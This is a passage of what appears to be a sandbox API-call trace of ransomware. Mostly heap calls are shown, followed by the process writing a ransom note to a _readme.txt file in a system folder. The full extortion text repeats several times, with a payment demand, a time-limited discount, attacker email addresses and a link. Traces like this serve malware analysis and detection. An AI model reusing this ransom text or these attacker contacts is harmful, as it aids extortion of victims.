hHeap=0x5d0000) returned 1 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.456] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.458] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.459] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.459] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.459] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.459] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.459] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.459] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.459] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0066.459] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.459] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.459] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.459] PathFindFileNameW (pszPath="") returned="" [0066.459] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.459] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.460] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.460] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.460] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.460] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.460] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.460] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0066.460] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.460] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.460] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0066.460] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.460] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.460] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.460] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.460] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.460] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.460] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.461] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.461] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.461] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.461] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.461] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.461] CloseHandle (hObject=0x5c4) returned 1 [0066.462] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.462] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.462] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.462] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.462] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, 